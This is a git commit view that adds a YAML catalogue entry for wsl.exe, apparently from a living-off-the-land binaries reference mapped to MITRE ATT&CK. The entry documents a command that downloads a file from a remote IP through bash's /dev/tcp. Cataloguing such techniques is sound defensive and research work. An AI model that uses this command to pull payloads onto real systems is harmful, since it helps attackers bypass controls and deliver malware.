Added download example to wsl.exe

This commit is contained in:
Oddvar Moe 2020-03-25 11:33:02 +01:00
parent 9f110bce07
commit 9722cceb9e

View File

@ -28,6 +28,14 @@ Commands:
MitreID: T1202 MitreID: T1202
MitreLink: https://attack.mitre.org/techniques/T1202 MitreLink: https://attack.mitre.org/techniques/T1202
OperatingSystem: Windows 10, Windows 19 Server OperatingSystem: Windows 10, Windows 19 Server
- Command: wsl.exe --exec bash -c 'cat < /dev/tcp/192.168.1.10/54 > binary'
Description: Downloads file from 192.168.1.10
Usecase: Download file
Category: Download
Privileges: User
MitreID: T1202
MitreLink: https://attack.mitre.org/techniques/T1202
OperatingSystem: Windows 10, Windows 19 Server
Full_Path: Full_Path:
- Path: C:\Windows\System32\wsl.exe - Path: C:\Windows\System32\wsl.exe
Code_Sample: Code_Sample: